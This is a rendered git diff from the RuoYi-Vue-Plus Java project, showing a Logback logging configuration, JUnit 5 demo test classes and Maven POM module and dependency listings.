<onMatch>ACCEPT</onMatch> <onMatch>ACCEPT</onMatch>
<!-- 不匹配时的操作:拒绝(不记录) --> <!-- 不匹配时的操作:拒绝(不记录) -->
<onMismatch>DENY</onMismatch> <onMismatch>DENY</onMismatch>
</filter> </filter>
</appender> </appender>
<appender name="file_error" class="ch.qos.logback.core.rolling.RollingFileAppender"> <appender name="file_error" class="ch.qos.logback.core.rolling.RollingFileAppender">
<file>${log.path}/sys-error.log</file> <file>${log.path}/sys-error.log</file>
<!-- 循环政策:基于时间创建日志文件 --> <!-- 循环政策:基于时间创建日志文件 -->
<rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy"> <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
<!-- 日志文件名格式 --> <!-- 日志文件名格式 -->
<fileNamePattern>${log.path}/sys-error.%d{yyyy-MM-dd}.log</fileNamePattern> <fileNamePattern>${log.path}/sys-error.%d{yyyy-MM-dd}.log</fileNamePattern>
<!-- 日志最大的历史 60天 --> <!-- 日志最大的历史 60天 -->
<maxHistory>30</maxHistory> <maxHistory>30</maxHistory>
</rollingPolicy> </rollingPolicy>
<encoder> <encoder>
<pattern>${log.pattern}</pattern> <pattern>${log.pattern}</pattern>
</encoder> </encoder>
<filter class="ch.qos.logback.classic.filter.LevelFilter"> <filter class="ch.qos.logback.classic.filter.LevelFilter">
<!-- 过滤的级别 --> <!-- 过滤的级别 -->
<level>ERROR</level> <level>ERROR</level>
<!-- 匹配时的操作:接收(记录) --> <!-- 匹配时的操作:接收(记录) -->
<onMatch>ACCEPT</onMatch> <onMatch>ACCEPT</onMatch>
<!-- 不匹配时的操作:拒绝(不记录) --> <!-- 不匹配时的操作:拒绝(不记录) -->
<onMismatch>DENY</onMismatch> <onMismatch>DENY</onMismatch>
</filter> </filter>
</appender> </appender>
<!-- info异步输出 --> <!-- info异步输出 -->
<appender name="async_info" class="ch.qos.logback.classic.AsyncAppender"> <appender name="async_info" class="ch.qos.logback.classic.AsyncAppender">
<!-- 不丢失日志.默认的,如果队列的80%已满,则会丢弃TRACT、DEBUG、INFO级别的日志 --> <!-- 不丢失日志.默认的,如果队列的80%已满,则会丢弃TRACT、DEBUG、INFO级别的日志 -->
<discardingThreshold>0</discardingThreshold> <discardingThreshold>0</discardingThreshold>
<!-- 更改默认的队列的深度,该值会影响性能.默认值为256 --> <!-- 更改默认的队列的深度,该值会影响性能.默认值为256 -->
<queueSize>512</queueSize> <queueSize>512</queueSize>
<!-- 添加附加的appender,最多只能添加一个 --> <!-- 添加附加的appender,最多只能添加一个 -->
<appender-ref ref="file_info"/> <appender-ref ref="file_info"/>
</appender> </appender>
<!-- error异步输出 --> <!-- error异步输出 -->
<appender name="async_error" class="ch.qos.logback.classic.AsyncAppender"> <appender name="async_error" class="ch.qos.logback.classic.AsyncAppender">
<!-- 不丢失日志.默认的,如果队列的80%已满,则会丢弃TRACT、DEBUG、INFO级别的日志 --> <!-- 不丢失日志.默认的,如果队列的80%已满,则会丢弃TRACT、DEBUG、INFO级别的日志 -->
<discardingThreshold>0</discardingThreshold> <discardingThreshold>0</discardingThreshold>
<!-- 更改默认的队列的深度,该值会影响性能.默认值为256 --> <!-- 更改默认的队列的深度,该值会影响性能.默认值为256 -->
<queueSize>512</queueSize> <queueSize>512</queueSize>
<!-- 添加附加的appender,最多只能添加一个 --> <!-- 添加附加的appender,最多只能添加一个 -->
<appender-ref ref="file_error"/> <appender-ref ref="file_error"/>
</appender> </appender>
<!-- 整合 skywalking 控制台输出 tid --> <!-- 整合 skywalking 控制台输出 tid -->
<!-- <appender name="console" class="ch.qos.logback.core.ConsoleAppender">--> <!-- <appender name="console" class="ch.qos.logback.core.ConsoleAppender">-->
<!-- <encoder class="ch.qos.logback.core.encoder.LayoutWrappingEncoder">--> <!-- <encoder class="ch.qos.logback.core.encoder.LayoutWrappingEncoder">-->
<!-- <layout class="org.apache.skywalking.apm.toolkit.log.logback.v1.x.TraceIdPatternLogbackLayout">--> <!-- <layout class="org.apache.skywalking.apm.toolkit.log.logback.v1.x.TraceIdPatternLogbackLayout">-->
<!-- <pattern>[%tid] ${console.log.pattern}</pattern>--> <!-- <pattern>[%tid] ${console.log.pattern}</pattern>-->
<!-- </layout>--> <!-- </layout>-->
<!-- <charset>utf-8</charset>--> <!-- <charset>utf-8</charset>-->
<!-- </encoder>--> <!-- </encoder>-->
<!-- </appender>--> <!-- </appender>-->
<!-- 整合 skywalking 推送采集日志 --> <!-- 整合 skywalking 推送采集日志 -->
<!-- <appender name="sky_log" class="org.apache.skywalking.apm.toolkit.log.logback.v1.x.log.GRPCLogClientAppender">--> <!-- <appender name="sky_log" class="org.apache.skywalking.apm.toolkit.log.logback.v1.x.log.GRPCLogClientAppender">-->
<!-- <encoder class="ch.qos.logback.core.encoder.LayoutWrappingEncoder">--> <!-- <encoder class="ch.qos.logback.core.encoder.LayoutWrappingEncoder">-->
<!-- <layout class="org.apache.skywalking.apm.toolkit.log.logback.v1.x.TraceIdPatternLogbackLayout">--> <!-- <layout class="org.apache.skywalking.apm.toolkit.log.logback.v1.x.TraceIdPatternLogbackLayout">-->
<!-- <pattern>[%tid] ${console.log.pattern}</pattern>--> <!-- <pattern>[%tid] ${console.log.pattern}</pattern>-->
<!-- </layout>--> <!-- </layout>-->
<!-- <charset>utf-8</charset>--> <!-- <charset>utf-8</charset>-->
<!-- </encoder>--> <!-- </encoder>-->
<!-- </appender>--> <!-- </appender>-->
<!--系统操作日志--> <!--系统操作日志-->
<root level="info"> <root level="info">
<appender-ref ref="console" /> <appender-ref ref="console" />
<appender-ref ref="async_info" /> <appender-ref ref="async_info" />
<appender-ref ref="async_error" /> <appender-ref ref="async_error" />
<appender-ref ref="file_console" /> <appender-ref ref="file_console" />
<!-- <appender-ref ref="sky_log"/>--> <!-- <appender-ref ref="sky_log"/>-->
</root> </root>
</configuration> </configuration>

View File

@@ -1,45 +1,45 @@
package org.dromara.test; package org.dromara.test;
import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.DisplayName; import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
/** /**
* 断言单元测试案例 * 断言单元测试案例
* *
* @author Lion Li * @author Lion Li
*/ */
@DisplayName("断言单元测试案例") @DisplayName("断言单元测试案例")
public class AssertUnitTest { public class AssertUnitTest {
@DisplayName("测试 assertEquals 方法") @DisplayName("测试 assertEquals 方法")
@Test @Test
public void testAssertEquals() { public void testAssertEquals() {
Assertions.assertEquals("666", new String("666")); Assertions.assertEquals("666", new String("666"));
Assertions.assertNotEquals("666", new String("666")); Assertions.assertNotEquals("666", new String("666"));
} }
@DisplayName("测试 assertSame 方法") @DisplayName("测试 assertSame 方法")
@Test @Test
public void testAssertSame() { public void testAssertSame() {
Object obj = new Object(); Object obj = new Object();
Object obj1 = obj; Object obj1 = obj;
Assertions.assertSame(obj, obj1); Assertions.assertSame(obj, obj1);
Assertions.assertNotSame(obj, obj1); Assertions.assertNotSame(obj, obj1);
} }
@DisplayName("测试 assertTrue 方法") @DisplayName("测试 assertTrue 方法")
@Test @Test
public void testAssertTrue() { public void testAssertTrue() {
Assertions.assertTrue(true); Assertions.assertTrue(true);
Assertions.assertFalse(true); Assertions.assertFalse(true);
} }
@DisplayName("测试 assertNull 方法") @DisplayName("测试 assertNull 方法")
@Test @Test
public void testAssertNull() { public void testAssertNull() {
Assertions.assertNull(null); Assertions.assertNull(null);
Assertions.assertNotNull(null); Assertions.assertNotNull(null);
} }
} }

View File

@@ -1,70 +1,70 @@
package org.dromara.test; package org.dromara.test;
import org.dromara.common.core.config.RuoYiConfig; import org.dromara.common.core.config.RuoYiConfig;
import org.junit.jupiter.api.*; import org.junit.jupiter.api.*;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest; import org.springframework.boot.test.context.SpringBootTest;
import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeUnit;
/** /**
* 单元测试案例 * 单元测试案例
* *
* @author Lion Li * @author Lion Li
*/ */
@SpringBootTest // 此注解只能在 springboot 主包下使用 需包含 main 方法与 yml 配置文件 @SpringBootTest // 此注解只能在 springboot 主包下使用 需包含 main 方法与 yml 配置文件
@DisplayName("单元测试案例") @DisplayName("单元测试案例")
public class DemoUnitTest { public class DemoUnitTest {
@Autowired @Autowired
private RuoYiConfig ruoYiConfig; private RuoYiConfig ruoYiConfig;
@DisplayName("测试 @SpringBootTest @Test @DisplayName 注解") @DisplayName("测试 @SpringBootTest @Test @DisplayName 注解")
@Test @Test
public void testTest() { public void testTest() {
System.out.println(ruoYiConfig); System.out.println(ruoYiConfig);
} }
@Disabled @Disabled
@DisplayName("测试 @Disabled 注解") @DisplayName("测试 @Disabled 注解")
@Test @Test
public void testDisabled() { public void testDisabled() {
System.out.println(ruoYiConfig); System.out.println(ruoYiConfig);
} }
@Timeout(value = 2L, unit = TimeUnit.SECONDS) @Timeout(value = 2L, unit = TimeUnit.SECONDS)
@DisplayName("测试 @Timeout 注解") @DisplayName("测试 @Timeout 注解")
@Test @Test
public void testTimeout() throws InterruptedException { public void testTimeout() throws InterruptedException {
Thread.sleep(3000); Thread.sleep(3000);
System.out.println(ruoYiConfig); System.out.println(ruoYiConfig);
} }
@DisplayName("测试 @RepeatedTest 注解") @DisplayName("测试 @RepeatedTest 注解")
@RepeatedTest(3) @RepeatedTest(3)
public void testRepeatedTest() { public void testRepeatedTest() {
System.out.println(666); System.out.println(666);
} }
@BeforeAll @BeforeAll
public static void testBeforeAll() { public static void testBeforeAll() {
System.out.println("@BeforeAll =================="); System.out.println("@BeforeAll ==================");
} }
@BeforeEach @BeforeEach
public void testBeforeEach() { public void testBeforeEach() {
System.out.println("@BeforeEach =================="); System.out.println("@BeforeEach ==================");
} }
@AfterEach @AfterEach
public void testAfterEach() { public void testAfterEach() {
System.out.println("@AfterEach =================="); System.out.println("@AfterEach ==================");
} }
@AfterAll @AfterAll
public static void testAfterAll() { public static void testAfterAll() {
System.out.println("@AfterAll =================="); System.out.println("@AfterAll ==================");
} }
} }

View File

@@ -1,72 +1,72 @@
package org.dromara.test; package org.dromara.test;
import org.dromara.common.core.enums.UserType; import org.dromara.common.core.enums.UserType;
import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName; import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.EnumSource; import org.junit.jupiter.params.provider.EnumSource;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.NullSource; import org.junit.jupiter.params.provider.NullSource;
import org.junit.jupiter.params.provider.ValueSource; import org.junit.jupiter.params.provider.ValueSource;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.stream.Stream; import java.util.stream.Stream;
/** /**
* 带参数单元测试案例 * 带参数单元测试案例
* *
* @author Lion Li * @author Lion Li
*/ */
@DisplayName("带参数单元测试案例") @DisplayName("带参数单元测试案例")
public class ParamUnitTest { public class ParamUnitTest {
@DisplayName("测试 @ValueSource 注解") @DisplayName("测试 @ValueSource 注解")
@ParameterizedTest @ParameterizedTest
@ValueSource(strings = {"t1", "t2", "t3"}) @ValueSource(strings = {"t1", "t2", "t3"})
public void testValueSource(String str) { public void testValueSource(String str) {
System.out.println(str); System.out.println(str);
} }
@DisplayName("测试 @NullSource 注解") @DisplayName("测试 @NullSource 注解")
@ParameterizedTest @ParameterizedTest
@NullSource @NullSource
public void testNullSource(String str) { public void testNullSource(String str) {
System.out.println(str); System.out.println(str);
} }
@DisplayName("测试 @EnumSource 注解") @DisplayName("测试 @EnumSource 注解")
@ParameterizedTest @ParameterizedTest
@EnumSource(UserType.class) @EnumSource(UserType.class)
public void testEnumSource(UserType type) { public void testEnumSource(UserType type) {
System.out.println(type.getUserType()); System.out.println(type.getUserType());
} }
@DisplayName("测试 @MethodSource 注解") @DisplayName("测试 @MethodSource 注解")
@ParameterizedTest @ParameterizedTest
@MethodSource("getParam") @MethodSource("getParam")
public void testMethodSource(String str) { public void testMethodSource(String str) {
System.out.println(str); System.out.println(str);
} }
public static Stream<String> getParam() { public static Stream<String> getParam() {
List<String> list = new ArrayList<>(); List<String> list = new ArrayList<>();
list.add("t1"); list.add("t1");
list.add("t2"); list.add("t2");
list.add("t3"); list.add("t3");
return list.stream(); return list.stream();
} }
@BeforeEach @BeforeEach
public void testBeforeEach() { public void testBeforeEach() {
System.out.println("@BeforeEach =================="); System.out.println("@BeforeEach ==================");
} }
@AfterEach @AfterEach
public void testAfterEach() { public void testAfterEach() {
System.out.println("@AfterEach =================="); System.out.println("@AfterEach ==================");
} }
} }

View File

@@ -1,54 +1,54 @@
package org.dromara.test; package org.dromara.test;
import org.junit.jupiter.api.*; import org.junit.jupiter.api.*;
import org.springframework.boot.test.context.SpringBootTest; import org.springframework.boot.test.context.SpringBootTest;
/** /**
* 标签单元测试案例 * 标签单元测试案例
* *
* @author Lion Li * @author Lion Li
*/ */
@SpringBootTest @SpringBootTest
@DisplayName("标签单元测试案例") @DisplayName("标签单元测试案例")
public class TagUnitTest { public class TagUnitTest {
@Tag("dev") @Tag("dev")
@DisplayName("测试 @Tag dev") @DisplayName("测试 @Tag dev")
@Test @Test
public void testTagDev() { public void testTagDev() {
System.out.println("dev"); System.out.println("dev");
} }
@Tag("prod") @Tag("prod")
@DisplayName("测试 @Tag prod") @DisplayName("测试 @Tag prod")
@Test @Test
public void testTagProd() { public void testTagProd() {
System.out.println("prod"); System.out.println("prod");
} }
@Tag("local") @Tag("local")
@DisplayName("测试 @Tag local") @DisplayName("测试 @Tag local")
@Test @Test
public void testTagLocal() { public void testTagLocal() {
System.out.println("local"); System.out.println("local");
} }
@Tag("exclude") @Tag("exclude")
@DisplayName("测试 @Tag exclude") @DisplayName("测试 @Tag exclude")
@Test @Test
public void testTagExclude() { public void testTagExclude() {
System.out.println("exclude"); System.out.println("exclude");
} }
@BeforeEach @BeforeEach
public void testBeforeEach() { public void testBeforeEach() {
System.out.println("@BeforeEach =================="); System.out.println("@BeforeEach ==================");
} }
@AfterEach @AfterEach
public void testAfterEach() { public void testAfterEach() {
System.out.println("@AfterEach =================="); System.out.println("@AfterEach ==================");
} }
} }

BIN
ruoyi-common/.DS_Store vendored Normal file

Binary file not shown.

View File

@@ -1,46 +1,46 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" <project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent> <parent>
<artifactId>ruoyi-vue-plus</artifactId> <artifactId>ruoyi-vue-plus</artifactId>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<version>${revision}</version> <version>${revision}</version>
</parent> </parent>
<modelVersion>4.0.0</modelVersion> <modelVersion>4.0.0</modelVersion>
<modules> <modules>
<module>ruoyi-common-bom</module> <module>ruoyi-common-bom</module>
<module>ruoyi-common-social</module> <module>ruoyi-common-social</module>
<module>ruoyi-common-core</module> <module>ruoyi-common-core</module>
<module>ruoyi-common-doc</module> <module>ruoyi-common-doc</module>
<module>ruoyi-common-excel</module> <module>ruoyi-common-excel</module>
<module>ruoyi-common-idempotent</module> <module>ruoyi-common-idempotent</module>
<module>ruoyi-common-job</module> <module>ruoyi-common-job</module>
<module>ruoyi-common-log</module> <module>ruoyi-common-log</module>
<module>ruoyi-common-mail</module> <module>ruoyi-common-mail</module>
<module>ruoyi-common-mybatis</module> <module>ruoyi-common-mybatis</module>
<module>ruoyi-common-oss</module> <module>ruoyi-common-oss</module>
<module>ruoyi-common-ratelimiter</module> <module>ruoyi-common-ratelimiter</module>
<module>ruoyi-common-redis</module> <module>ruoyi-common-redis</module>
<module>ruoyi-common-satoken</module> <module>ruoyi-common-satoken</module>
<module>ruoyi-common-security</module> <module>ruoyi-common-security</module>
<module>ruoyi-common-sms</module> <module>ruoyi-common-sms</module>
<module>ruoyi-common-web</module> <module>ruoyi-common-web</module>
<module>ruoyi-common-translation</module> <module>ruoyi-common-translation</module>
<module>ruoyi-common-sensitive</module> <module>ruoyi-common-sensitive</module>
<module>ruoyi-common-json</module> <module>ruoyi-common-json</module>
<module>ruoyi-common-encrypt</module> <module>ruoyi-common-encrypt</module>
<module>ruoyi-common-tenant</module> <module>ruoyi-common-tenant</module>
<module>ruoyi-common-websocket</module> <module>ruoyi-common-websocket</module>
<module>ruoyi-common-sse</module> <module>ruoyi-common-sse</module>
</modules> </modules>
<artifactId>ruoyi-common</artifactId> <artifactId>ruoyi-common</artifactId>
<packaging>pom</packaging> <packaging>pom</packaging>
<description> <description>
common 通用模块 common 通用模块
</description> </description>
</project> </project>

View File

@@ -1,185 +1,185 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" <project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion> <modelVersion>4.0.0</modelVersion>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-bom</artifactId> <artifactId>ruoyi-common-bom</artifactId>
<version>${revision}</version> <version>${revision}</version>
<packaging>pom</packaging> <packaging>pom</packaging>
<description> <description>
ruoyi-common-bom common依赖项 ruoyi-common-bom common依赖项
</description> </description>
<properties> <properties>
<revision>5.2.3</revision> <revision>5.2.3</revision>
</properties> </properties>
<dependencyManagement> <dependencyManagement>
<dependencies> <dependencies>
<!-- 核心模块 --> <!-- 核心模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-core</artifactId> <artifactId>ruoyi-common-core</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 接口模块 --> <!-- 接口模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-doc</artifactId> <artifactId>ruoyi-common-doc</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- excel --> <!-- excel -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-excel</artifactId> <artifactId>ruoyi-common-excel</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 幂等 --> <!-- 幂等 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-idempotent</artifactId> <artifactId>ruoyi-common-idempotent</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 调度模块 --> <!-- 调度模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-job</artifactId> <artifactId>ruoyi-common-job</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 日志记录 --> <!-- 日志记录 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-log</artifactId> <artifactId>ruoyi-common-log</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 邮件服务 --> <!-- 邮件服务 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-mail</artifactId> <artifactId>ruoyi-common-mail</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 数据库服务 --> <!-- 数据库服务 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-mybatis</artifactId> <artifactId>ruoyi-common-mybatis</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- OSS --> <!-- OSS -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-oss</artifactId> <artifactId>ruoyi-common-oss</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 限流 --> <!-- 限流 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-ratelimiter</artifactId> <artifactId>ruoyi-common-ratelimiter</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 缓存服务 --> <!-- 缓存服务 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-redis</artifactId> <artifactId>ruoyi-common-redis</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- satoken --> <!-- satoken -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-satoken</artifactId> <artifactId>ruoyi-common-satoken</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 安全模块 --> <!-- 安全模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-security</artifactId> <artifactId>ruoyi-common-security</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 短信模块 --> <!-- 短信模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-sms</artifactId> <artifactId>ruoyi-common-sms</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-social</artifactId> <artifactId>ruoyi-common-social</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- web服务 --> <!-- web服务 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-web</artifactId> <artifactId>ruoyi-common-web</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 翻译模块 --> <!-- 翻译模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-translation</artifactId> <artifactId>ruoyi-common-translation</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 脱敏模块 --> <!-- 脱敏模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-sensitive</artifactId> <artifactId>ruoyi-common-sensitive</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 序列化模块 --> <!-- 序列化模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-json</artifactId> <artifactId>ruoyi-common-json</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 数据库加解密模块 --> <!-- 数据库加解密模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-encrypt</artifactId> <artifactId>ruoyi-common-encrypt</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 租户模块 --> <!-- 租户模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-tenant</artifactId> <artifactId>ruoyi-common-tenant</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- WebSocket模块 --> <!-- WebSocket模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-websocket</artifactId> <artifactId>ruoyi-common-websocket</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- SSE模块 --> <!-- SSE模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-sse</artifactId> <artifactId>ruoyi-common-sse</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
</dependencies> </dependencies>
</dependencyManagement> </dependencyManagement>
</project> </project>

View File

@@ -1,99 +1,99 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" <project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent> <parent>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common</artifactId> <artifactId>ruoyi-common</artifactId>
<version>${revision}</version> <version>${revision}</version>
</parent> </parent>
<modelVersion>4.0.0</modelVersion> <modelVersion>4.0.0</modelVersion>
<artifactId>ruoyi-common-core</artifactId> <artifactId>ruoyi-common-core</artifactId>
<description> <description>
ruoyi-common-core 核心模块 ruoyi-common-core 核心模块
</description> </description>
<dependencies> <dependencies>
<!-- Spring框架基本的核心工具 --> <!-- Spring框架基本的核心工具 -->
<dependency> <dependency>
<groupId>org.springframework</groupId> <groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId> <artifactId>spring-context-support</artifactId>
</dependency> </dependency>
<!-- SpringWeb模块 --> <!-- SpringWeb模块 -->
<dependency> <dependency>
<groupId>org.springframework</groupId> <groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId> <artifactId>spring-web</artifactId>
</dependency> </dependency>
<!-- 自定义验证注解 --> <!-- 自定义验证注解 -->
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-validation</artifactId> <artifactId>spring-boot-starter-validation</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-aop</artifactId> <artifactId>spring-boot-starter-aop</artifactId>
</dependency> </dependency>
<!--常用工具类 --> <!--常用工具类 -->
<dependency> <dependency>
<groupId>org.apache.commons</groupId> <groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId> <artifactId>commons-lang3</artifactId>
</dependency> </dependency>
<!-- servlet包 --> <!-- servlet包 -->
<dependency> <dependency>
<groupId>jakarta.servlet</groupId> <groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId> <artifactId>jakarta.servlet-api</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>cn.hutool</groupId> <groupId>cn.hutool</groupId>
<artifactId>hutool-core</artifactId> <artifactId>hutool-core</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>cn.hutool</groupId> <groupId>cn.hutool</groupId>
<artifactId>hutool-http</artifactId> <artifactId>hutool-http</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>cn.hutool</groupId> <groupId>cn.hutool</groupId>
<artifactId>hutool-extra</artifactId> <artifactId>hutool-extra</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.projectlombok</groupId> <groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId> <artifactId>lombok</artifactId>
</dependency> </dependency>
<!-- 自动生成YML配置关联JSON文件 --> <!-- 自动生成YML配置关联JSON文件 -->
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-configuration-processor</artifactId> <artifactId>spring-boot-configuration-processor</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-properties-migrator</artifactId> <artifactId>spring-boot-properties-migrator</artifactId>
<scope>runtime</scope> <scope>runtime</scope>
</dependency> </dependency>
<dependency> <dependency>
<groupId>io.github.linpeilie</groupId> <groupId>io.github.linpeilie</groupId>
<artifactId>mapstruct-plus-spring-boot-starter</artifactId> <artifactId>mapstruct-plus-spring-boot-starter</artifactId>
</dependency> </dependency>
<!-- 离线IP地址定位库 --> <!-- 离线IP地址定位库 -->
<dependency> <dependency>
<groupId>org.lionsoul</groupId> <groupId>org.lionsoul</groupId>
<artifactId>ip2region</artifactId> <artifactId>ip2region</artifactId>
</dependency> </dependency>
</dependencies> </dependencies>
</project> </project>

View File

@@ -1,17 +1,17 @@
package org.dromara.common.core.config; package org.dromara.common.core.config;
import org.springframework.boot.autoconfigure.AutoConfiguration; import org.springframework.boot.autoconfigure.AutoConfiguration;
